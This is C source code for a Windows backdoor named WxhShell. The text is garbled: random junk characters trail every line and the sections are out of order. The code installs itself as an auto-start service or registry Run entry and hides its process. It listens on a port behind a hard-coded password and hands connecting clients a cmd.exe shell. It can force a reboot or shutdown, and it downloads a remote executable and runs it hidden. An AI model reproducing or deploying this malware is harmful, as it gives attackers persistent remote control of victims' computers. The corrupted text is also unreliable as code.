    if(Boot(SHUTDOWN)) Gzw@w{JBL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7R,qDp S  
    else { 3?2<W EYr  
    closesocket(wsh); 0x@A~!MoP  
    ExitThread(0); RvyuGU  
    } ,h^r:g  
    break; f^p^Y F+  
    } w$j{Hp6m  
  // 获取shell _1  p DA  
  case 's': { &~ *.CQa  
    CmdShell(wsh); 9_ZBV{   
    closesocket(wsh); q\R q!7(  
    ExitThread(0); H<`\bej,  
    break; Q(Gyq:L=>  
  } w2{g,A|  
  // 退出 ^/@jwZ  
  case 'x': { n~.*1. P  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); sOBu7!G%  
    CloseIt(wsh); /"eey(X  
    break; ZovW0Q)m  
    } At-U2a#J{  
  // 离开 $5Xh,DOg  
  case 'q': { +L7n<U3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); O3I8k\`  
    closesocket(wsh); U}[I   
    WSACleanup(); 7;KwLT9  
    exit(1); 0NS<?p~_S  
    break; :2 *g~6  
        } $0 vb^  
  } ^J$2?!~  
  } 0aG ni|  
Ney/[3 A  
  // 提示信息 <YdE1{fm  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9I6a"PGDb  
} 0u;4%}pD  
  } zd @m~V  
0X6YdW_2X  
  return; @>,^":`#  
} +r2+X:#~T  
+$ 'Zf0U  
// shell模块句柄 E(>=rD/+  
int CmdShell(SOCKET sock) u^^[Q2LDU}  
{ ?:Uv[|S#>  
STARTUPINFO si; DX#Nf""Pw  
ZeroMemory(&si,sizeof(si)); dqU~`b9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +}Dw3;W}m  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 'OITI TM  
PROCESS_INFORMATION ProcessInfo; R0KPZv-  
char cmdline[]="cmd"; PxvyN_B#>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {'7B6  
  return 0; b/+u4'"  
} o_izl \  
Ua:}Vn&!  
// 自身启动模式 f z'@_4hg  
int StartFromService(void) ^pp\bVh2Q]  
{ KI"#f$2&  
typedef struct [_BP)e  
{ bV^rsJm  
  DWORD ExitStatus; /CrSu  
  DWORD PebBaseAddress; 5%Y3 Kwyy  
  DWORD AffinityMask; w'>pY  
  DWORD BasePriority; !z\h| wU+  
  ULONG UniqueProcessId; 8SMxw~9$  
  ULONG InheritedFromUniqueProcessId; owVX*&b{  
}   PROCESS_BASIC_INFORMATION; /:cd\A}  
]%;:7?5l  
PROCNTQSIP NtQueryInformationProcess; AP3a;4Z#  
0CHH)Bku  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Akq2 d;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6_(&6]}66  
!Jo_"#5  
  HANDLE             hProcess; z<MsKD0Q  
  PROCESS_BASIC_INFORMATION pbi; [*Z;\5&P  
&)QX7*H  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %Tfbsyf%f  
  if(NULL == hInst ) return 0; ))qy;Q,  
x'8x   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [F+}V,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Pd8![Z3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); atj(eg  
y5vvu>nd  
  if (!NtQueryInformationProcess) return 0; )~X2 &^orW  
N"Z{5A  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %U/(|wodd  
  if(!hProcess) return 0; ez7A4>/  
aEB_#1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Q1Kfi8h}'  
VMZMG$C  
  CloseHandle(hProcess); QL(n} {.%  
!n`fTK<$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8C40%q..  
if(hProcess==NULL) return 0;  -uS!\  
&0d# Y]D4`  
HMODULE hMod; _T60;ZI+^  
char procName[255]; ?d*z8w  
unsigned long cbNeeded; /l3V3B7  
Y/F6\oh  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); J4hL_iCQ  
U4'#T%*  
  CloseHandle(hProcess); {qk1_yP  
YP oSRA L  
if(strstr(procName,"services")) return 1; // 以服务启动 gt) I(  
Xg6Jh``  
  return 0; // 注册表启动 gb1V~  
} xo^b&ktQd  
cVv=*81\  
// 主模块 X0HZH?V+  
int StartWxhshell(LPSTR lpCmdLine) )$2QZ qX  
{ )D O?VRI  
  SOCKET wsl; b`Zx!^  
BOOL val=TRUE; sI=xl  
  int port=0; gT. sj d  
  struct sockaddr_in door; b=C*W,Q_#  
T=DbBy0-  
  if(wscfg.ws_autoins) Install(); h,:m~0gmj  
)rU  
port=atoi(lpCmdLine); Pm6p v;WK  
+fB5w?Rg  
if(port<=0) port=wscfg.ws_port; >Er|Jxy  
bW427B0  
  WSADATA data; n` _{9R  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; s[>,X#7 y  
r8?gD&c}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   C}j"Qi`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l'rja.\  
  door.sin_family = AF_INET; QW~E&B%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); QE+g j8  
  door.sin_port = htons(port); Evq IcZ  
#P9~}JB3,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1t~G|zhX  
closesocket(wsl); H7Rx>h_  
return 1; tKuwpT1Qc  
} Tk[ $5u*,  
M] %?>G  
  if(listen(wsl,2) == INVALID_SOCKET) { HyQJXw?A:  
closesocket(wsl); oCv.Ln1;Z  
return 1; .hb:s,0mP  
} net@j#}j-  
  Wxhshell(wsl); wU36sCo  
  WSACleanup(); 7aRi5  
u~:y\/Y6  
return 0; ^Z+?h &%%  
 _"yh.N&  
} & ywPuTt  
RLXL&  
// 以NT服务方式启动 \:'/'^=#|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  DPxM'7  
{ wmL'F:UP  
DWORD   status = 0; | j`@eF/"  
  DWORD   specificError = 0xfffffff; P1 8hxXE3  
x+:UN'"r  
  serviceStatus.dwServiceType     = SERVICE_WIN32; OZF rtc+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; n,(sBOQ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; SM#]H-3  
  serviceStatus.dwWin32ExitCode     = 0; U$.@]F4&  
  serviceStatus.dwServiceSpecificExitCode = 0; 65P0,b6"OT  
  serviceStatus.dwCheckPoint       = 0; myQagqRx  
  serviceStatus.dwWaitHint       = 0; 2;`1h[,-^  
(t K||*u  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (N6i4 g6  
  if (hServiceStatusHandle==0) return; xh,qNnGGi  
kx{{_w  
status = GetLastError(); %nZo4hnr$r  
  if (status!=NO_ERROR) .V/Rfq  
{ ZY55|eE  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; r'r%w#=`t  
    serviceStatus.dwCheckPoint       = 0; X/!o\yyT  
    serviceStatus.dwWaitHint       = 0; 85$m[+md  
    serviceStatus.dwWin32ExitCode     = status; [A~xy'T  
    serviceStatus.dwServiceSpecificExitCode = specificError; K(rWNO  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Oc#syfO  
    return; ]i)c{y  
  } 'RR~7h  
-H@:*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Wx}8T[A}  
  serviceStatus.dwCheckPoint       = 0; LVfF[  
  serviceStatus.dwWaitHint       = 0; O2E/jj  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,j{,h_Op  
} gQg"j)  
o Q2Fjj  
// 处理NT服务事件,比如:启动、停止 `/XY>T}-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0B/,/KX  
{ *8Xh(` Mj7  
switch(fdwControl) &*,#5.  
{ HxV=F66"  
case SERVICE_CONTROL_STOP: nI-w}NQ  
  serviceStatus.dwWin32ExitCode = 0; "Mn6U-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @7]yl&LZ  
  serviceStatus.dwCheckPoint   = 0; gMmaK0uhS  
  serviceStatus.dwWaitHint     = 0; ?k&Vy  
  { )e+>w=t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Xll}x+'uZK  
  } \BTODZ:h  
  return; ?m}s4a  
case SERVICE_CONTROL_PAUSE: _Xc8Yg }`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]"hFC<w  
  break; Fn;SF4KOm  
case SERVICE_CONTROL_CONTINUE: gnOt+W8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Nho>f  
  break; /<=u\e'rE  
case SERVICE_CONTROL_INTERROGATE: /wEhVR`=  
  break; iDp)FQ$  
}; ThajHK|U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  EoR}Af  
} v6bGjVK[  
QvlObEhcS  
// 标准应用程序主函数 JV^=v@Z3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *SDs;kg  
{ wx= $2N6  
1 ~Y<//5E  
// 获取操作系统版本 +US!YU  
OsIsNt=GetOsVer(); (z {#Eq4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )9{0]u;9  
#uG%j  
  // 从命令行安装 XH4  
  if(strpbrk(lpCmdLine,"iI")) Install(); S]e|"n~@  
SumF  2  
  // 下载执行文件 eCU:Q  
if(wscfg.ws_downexe) { #4Rx]zW^%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7Jyy z,!5  
  WinExec(wscfg.ws_filenam,SW_HIDE); s^G.]%iU  
} 3</_c1~  
)hn6sXo+  
if(!OsIsNt) { HSE!x_$  
// 如果时win9x,隐藏进程并且设置为注册表启动 '6iEMg&3  
HideProc(); dC3o9  
StartWxhshell(lpCmdLine); ,GbR!j@6  
} B[Ku\A6&  
else Xv5wJlc!d  
  if(StartFromService()) sk<3`x+  
  // 以服务方式启动 0y'H~(  
  StartServiceCtrlDispatcher(DispatchTable); wj$<t'MN  
else v!-/&}W)1  
  // 普通方式启动 wY{-BuXv  
  StartWxhshell(lpCmdLine); 8?#/o c  
.GP T!lDc  
return 0; KEo ,m  
} E1aHKjLQ  
g#pr yYz  
ed{ -/l~j  
"yy5F>0Wt  
=========================================== B?gOHG*vd>  
m/@wh a  
t:x\kp  
iJ)_RSFK  
Ytp(aE:  
+6M}O[LP  
" h9&0Z +zs  
w_"E*9  
#include <stdio.h> IYE~t  
#include <string.h> hlvK5Z   
#include <windows.h> +5g_KS  
#include <winsock2.h> xA2YG|RU=b  
#include <winsvc.h> ]Grek<  
#include <urlmon.h> ]NQfX[  
,a{P4Bq  
#pragma comment (lib, "Ws2_32.lib") U*rcd-@  
#pragma comment (lib, "urlmon.lib") ,\W 8b-Z  
8?B!2  
#define MAX_USER   100 // 最大客户端连接数 A_"w^E{P  
#define BUF_SOCK   200 // sock buffer ('4_ xOb  
#define KEY_BUFF   255 // 输入 buffer #X+JHl  
60^`JVGWH  
#define REBOOT     0   // 重启 ;RZ )  
#define SHUTDOWN   1   // 关机 L Tm2G4+]  
M~Tuj1?  
#define DEF_PORT   5000 // 监听端口 y;m|  
'|6]_   
#define REG_LEN     16   // 注册表键长度 ANAVn@ [  
#define SVC_LEN     80   // NT服务名长度 h6L&\~pf  
nSDMOyj+  
// 从dll定义API o)M}!MT  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $8)+XmsCr  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >4x(e\B  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); H5/6TX72N  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \i>?q   
B-RjMxX4>  
// wxhshell配置信息 ueogaifvB  
struct WSCFG { r8t}TU>C  
  int ws_port;         // 监听端口 j7Yu>cr  
  char ws_passstr[REG_LEN]; // 口令 @Myo'{3vF  
  int ws_autoins;       // 安装标记, 1=yes 0=no YH}'s>xZz  
  char ws_regname[REG_LEN]; // 注册表键名 nUaJzPl  
  char ws_svcname[REG_LEN]; // 服务名 ^)/0yB  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 gi3F` m  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /cUO$m o  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @W.S6;GA\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <q58uuK  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7(1|xYCx$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 lf`{zc r:  
(q/e1L-S  
}; do hA0  
i'<[DjMDlm  
// default Wxhshell configuration 9Z$"K-G  
struct WSCFG wscfg={DEF_PORT, F@D`N0Pte  
    "xuhuanlingzhe", `{@8Vsmy:  
    1, ''cInTCr  
    "Wxhshell", d"1]4.c  
    "Wxhshell", ql Ax  
            "WxhShell Service", J/`<!$<c  
    "Wrsky Windows CmdShell Service", c1(RuP:S  
    "Please Input Your Password: ", ;$,U~0  
  1, soB,j3#p'*  
  "http://www.wrsky.com/wxhshell.exe", @,j*wnR  
  "Wxhshell.exe" @f>-^  
    }; '`[&}R  
oi7@s0@  
// 消息定义模块 fivw~z|[@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; zy?|ODM  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5:[0z5Hww  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [C 7^r3w  
char *msg_ws_ext="\n\rExit."; e-/&$Qq  
char *msg_ws_end="\n\rQuit."; y%$AhRk*U  
char *msg_ws_boot="\n\rReboot..."; h%na>G  
char *msg_ws_poff="\n\rShutdown..."; C\3rJy(VJ  
char *msg_ws_down="\n\rSave to "; jxJ8(sr$  
_IHV7*u{;  
char *msg_ws_err="\n\rErr!"; IxN9&xa  
char *msg_ws_ok="\n\rOK!"; ;3coP{  
wD}l$ & +  
char ExeFile[MAX_PATH]; bn&TF3b  
int nUser = 0; 23eX;gL  
HANDLE handles[MAX_USER]; J9nX"Sb  
int OsIsNt; HXC ;Np  
yNJ B oar  
SERVICE_STATUS       serviceStatus; Pl06:g2I  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; wc@X.Q[  
pZ{+c  
// 函数声明 ij`w} V  
int Install(void); QD&`^(X1p  
int Uninstall(void); B2vh-%63  
int DownloadFile(char *sURL, SOCKET wsh); j?\Qh  
int Boot(int flag); \~mT] '5  
void HideProc(void); :K,i\  
int GetOsVer(void); U[-o> W#  
int Wxhshell(SOCKET wsl); )T2Caqs2  
void TalkWithClient(void *cs); SYJD?&C;  
int CmdShell(SOCKET sock); VQt0  4?  
int StartFromService(void); A2Ed0|By  
int StartWxhshell(LPSTR lpCmdLine); 9d659i C  
Xza(k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); qOtgve`jX  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;?i W%:_,  
`cUl7 'j  
// 数据结构和表定义 9G5rcYi  
SERVICE_TABLE_ENTRY DispatchTable[] = (NU NHxi5B  
{ 7t0=[i  
{wscfg.ws_svcname, NTServiceMain}, Qx#"q'2  
{NULL, NULL} I-*S&SiXjI  
}; *u[BP@vE  
 skViMo  
// 自我安装 L|xbR#v  
int Install(void) sf87$S0  
{ j{A y\n(  
  char svExeFile[MAX_PATH]; CYP q#rd  
  HKEY key; %s|Ely)  
  strcpy(svExeFile,ExeFile); Om\vMd@!  
hx%v+/  
// 如果是win9x系统,修改注册表设为自启动 D=Gtq6jd  
if(!OsIsNt) { osAd1<EIC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y"aJur=`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "ne?P9'hF  
  RegCloseKey(key); a~}OZ&PG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i%]EEVmN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <0&*9ZeD  
  RegCloseKey(key); 'Aq{UGN  
  return 0; Yujiqi]J;  
    } )yZ^[uJ}3C  
  } ??vLUv  
} SsDmoEeB[  
else { k2tF}  
@,7GaK\  
// 如果是NT以上系统,安装为系统服务 G@X% +$I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9 -a0:bP  
if (schSCManager!=0) R"t,xM  
{ ~-Qw.EdC  
  SC_HANDLE schService = CreateService ,m|h<faZL  
  ( FHg 9OI67  
  schSCManager, 29] G^f>  
  wscfg.ws_svcname, mL{6L?  
  wscfg.ws_svcdisp, O;jrCB  
  SERVICE_ALL_ACCESS, Flm%T-Dl  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Vv=. -&'  
  SERVICE_AUTO_START, sBg.u  
  SERVICE_ERROR_NORMAL, p%=u#QNi  
  svExeFile, .g<DD)`  
  NULL, vr6w^&[c^  
  NULL, s-Tv8goNV  
  NULL, !F'YDjTot  
  NULL, J<h $ wM  
  NULL rw JIx|(  
  ); v$wIm,j  
  if (schService!=0) .[OUI  
  { N5 6g+,w%)  
  CloseServiceHandle(schService); iz PDd{[  
  CloseServiceHandle(schSCManager); SO'vp z{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); P}^W)@+3k  
  strcat(svExeFile,wscfg.ws_svcname); x g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { YPk fx  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); f46t9dxp$  
  RegCloseKey(key); >} i  E(  
  return 0; bK&+5t&  
    } f r6 fj  
  } Ai3*QX  
  CloseServiceHandle(schSCManager); BW*rIn<?G  
} }WXi$(@v  
} ENs&RZ;  
hhc,uJ">!  
return 1; 7ZWgf"1j  
} W.KDVE$}f  
Hf2_0wA3  
// 自我卸载 <R=Zs[9M1  
int Uninstall(void) 1\2no{Vh  
{ T+H!_ky`A  
  HKEY key; <6 Uf.u`  
6mxfLlZ  
if(!OsIsNt) { |t#)~Oo  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VTY 5]|;  
  RegDeleteValue(key,wscfg.ws_regname); ~U&AI1t+J  
  RegCloseKey(key); ope^~+c~\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;+ hH  
  RegDeleteValue(key,wscfg.ws_regname); K`fuf=  
  RegCloseKey(key); M@v.c; Lt  
  return 0; N2<!}Eyu  
  } -k"/X8  
} 5D//*}b,  
} |#R7wnE[k~  
else { ^>v+( z5R  
:nOFR$ W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); aHK}sr,U  
if (schSCManager!=0) U-tTW*[1]  
{ }a(dyr`S  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); N6i Q8P -  
  if (schService!=0) &`2)V;t  
  { suDQ~\ n  
  if(DeleteService(schService)!=0) { \ta?b!Y),?  
  CloseServiceHandle(schService); z9Rp`z&`E  
  CloseServiceHandle(schSCManager); oE]QF.n#  
  return 0; mrtb*7`$  
  } V1B5w_^>h'  
  CloseServiceHandle(schService); :& ."ttf=  
  } =fFP5e ['  
  CloseServiceHandle(schSCManager); IyG}H}  
} Q*ft7$l&  
} T{[=oH+  
] >E s4 s  
return 1; onxLyx|A  
} aO4?m+  
w NdisI  
// 从指定url下载文件 u.xnOcOH!  
int DownloadFile(char *sURL, SOCKET wsh) JY(WK@  
{ _KAQ}G3  
  HRESULT hr; dDLeSz$b  
char seps[]= "/"; {F.[&/A  
char *token; ln dx"prW  
char *file; >tW#/\x{  
char myURL[MAX_PATH]; ePo}y])2  
char myFILE[MAX_PATH]; ##"HF  
YT(AUS5n  
strcpy(myURL,sURL); V1M.JU  
  token=strtok(myURL,seps); m!HJj>GEo  
  while(token!=NULL) 8 v%o,"  
  { C1QA)E['V  
    file=token; z-)O9PV  
  token=strtok(NULL,seps); s!$7(Q86R  
  } f._ua>v,f  
[.wYdv35  
GetCurrentDirectory(MAX_PATH,myFILE); 97!;.f-  
strcat(myFILE, "\\"); g3y+&Y_  
strcat(myFILE, file); 'TB2:W3  
  send(wsh,myFILE,strlen(myFILE),0); kE1TP]|  
send(wsh,"...",3,0); `VguQl_,gA  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =@~Y12o?%  
  if(hr==S_OK) ' S/gmn  
return 0; 5`p.#  
else ;9QEK]@  
return 1; `r 3  
%d9uTm;  
} R.<g3"Lm>  
FGq [ \B  
// 系统电源模块 f]sr RYSR  
int Boot(int flag) ~((O8@}J  
{ sK?twg;D*|  
  HANDLE hToken; $6R-5oQ  
  TOKEN_PRIVILEGES tkp; 4;2uW#dG"  
X|]A T9W  
  if(OsIsNt) { ~})e?q;b  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 19%i mf  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5wU]!bxr  
    tkp.PrivilegeCount = 1; 1EX;MW-p<T  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *MW\^PR?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); yyTnL 2Y9  
if(flag==REBOOT) { M x" \5i  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @gK?\URoT  
  return 0; &s!@29DXR  
} cQ}{[YO  
else {  uHRsFlw  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) S~G ]~gt  
  return 0; &m;*<}X  
} lNO;O}8  
  } xxQ;xI0+]  
  else { k$:|-_(w  
if(flag==REBOOT) { #}5uno  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) B&"Q\'c  
  return 0; &=mtc%mL  
} {Qj~M<@3  
else { 0jWVp- y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )O6>*wq  
  return 0; ^=*;X;7  
} l}P=/#</T  
} s,_m{ to  
8xMX  
return 1; wdoR%b{M  
} bhs _9ivw  
c[s4EUG  
// win9x进程隐藏模块 3iU=c&P  
void HideProc(void) O33 `+UV"W  
{ R^e'}+Z  
bN=P*hdf  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); h>bx}$q  
  if ( hKernel != NULL ) Y|/ 8up  
  { 8l">cVo]T  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); o,wUc"CE  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); KG{St{uJ  
    FreeLibrary(hKernel); P+HXn8@  
  } :2)/FPL6  
4`=m u}Y2  
return; {7pli{`  
} 9Gz=lc[!7  
Xlt|nX~#;  
// 获取操作系统版本 i{qgn%#}Y  
int GetOsVer(void) 9MqGIOQ${j  
{ BD7N i^qI$  
  OSVERSIONINFO winfo; '4<1 1(U  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [1H^3g '  
  GetVersionEx(&winfo); ]J]h#ZHx  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) lk80#( :Z  
  return 1; SZCze"`[  
  else uXl3k:_n  
  return 0; BfiD9ka-z  
} < FAheE+  
J4U1t2@)9  
// 客户端句柄模块 GsM<2@?  
int Wxhshell(SOCKET wsl) XRQ4\bMA8  
{ ygl0k \  
  SOCKET wsh; ] @fk] ]R  
  struct sockaddr_in client; *DhiN  
  DWORD myID; J<lO= +mg  
Y\'}a+:@Ph  
  while(nUser<MAX_USER) IEvdV6{K  
{ cQ_Hp <D  
  int nSize=sizeof(client); Q=yg8CQ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); o#1 $q`Z  
  if(wsh==INVALID_SOCKET) return 1; ]')RMg zM*  
[z9Z5sLO  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); o*hF<D$Y  
if(handles[nUser]==0) 7"D.L-H  
  closesocket(wsh); iO; 7t@]-  
else 8DaL,bi*.  
  nUser++; o2\8OxcA  
  } 63B?.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <1M-Ro?5k  
}*"p?L^p{  
  return 0; m&yJzMW|  
} qJUK_6|3  
[}]Q?*_  
// 关闭 socket @Do= k  
void CloseIt(SOCKET wsh) u\JNr}bL  
{ jEJT-*I1+  
closesocket(wsh); .#pU=v#/[  
nUser--; 3=ymm^  
ExitThread(0); v|2T%y_ u  
} }RqK84K  
8)I^ t81  
// 客户端请求句柄 x-3\Ls[I  
void TalkWithClient(void *cs) !g2+w$YVa  
{ 5`:Y ye  
kMd.h[X~  
  SOCKET wsh=(SOCKET)cs; $E.I84UfX  
  char pwd[SVC_LEN]; ]z9=}=If  
  char cmd[KEY_BUFF]; czd~8WgOa  
char chr[1]; rw #$lP  
int i,j; P";'jVcR  
5XB H$&Td  
  while (nUser < MAX_USER) { '`KY! ]L  
V~5jfcd  
if(wscfg.ws_passstr) { [ibu/ W$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }pu27F)&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d/DB nZN  
  //ZeroMemory(pwd,KEY_BUFF); _5N]B|cO  
      i=0; CzEd8jeh7  
  while(i<SVC_LEN) { kW&TJP+5*  
3:i@II  
  // 设置超时 ;oKZ!ND  
  fd_set FdRead; {{D)YldtA  
  struct timeval TimeOut; %i9E @EV  
  FD_ZERO(&FdRead); N06OvU2>xU  
  FD_SET(wsh,&FdRead); mCsMqDH  
  TimeOut.tv_sec=8; CR`Q#Yi  
  TimeOut.tv_usec=0; < #}5IQ5`Z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  +yH7v5W  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0$)>D==  
bz2ztH9 n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~Z?TFg  
  pwd=chr[0]; F^t DL:  
  if(chr[0]==0xd || chr[0]==0xa) { r4XK{KHn  
  pwd=0; y^,1a[U.  
  break; $m%f wB  
  } :bu/^mW[  
  i++; fF$<7O)+]  
    } +`7i 'ff  
vMi;+6'n>  
  // 如果是非法用户,关闭 socket tqvN0vY5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); nwB_8mN|  
} 1R{!]uh  
* 8yAG]z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Pmr5S4Ka  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8>2.UrC  
( iBl   
while(1) { G_3O]BMKd)  
o/$}  
  ZeroMemory(cmd,KEY_BUFF); fo*2:?K&  
=)H.c uc  
      // 自动支持客户端 telnet标准   6y%qVx#!  
  j=0; UqFO|r"M  
  while(j<KEY_BUFF) { )BZ.Sv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g|DF[  
  cmd[j]=chr[0]; n/;WxnnQ  
  if(chr[0]==0xa || chr[0]==0xd) { f}#~-.NGs  
  cmd[j]=0; UN;H+gNnN  
  break; 67JA=,EE  
  } Zw 26  
  j++; n71r_S*  
    } *KZYv=s,u  
#l\=}#\1Wb  
  // 下载文件 =1FRFZI!j  
  if(strstr(cmd,"http://")) { }W C[$Y_@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 'Vzp2  
  if(DownloadFile(cmd,wsh)) [i21FX  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); GfxZ'VIn  
  else fa jGZyd0:  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |B?m,U$A!  
  } u:6Ic)7'  
  else { |sJ[0z  
*.ll<p+(-  
    switch(cmd[0]) { f O}pj:  
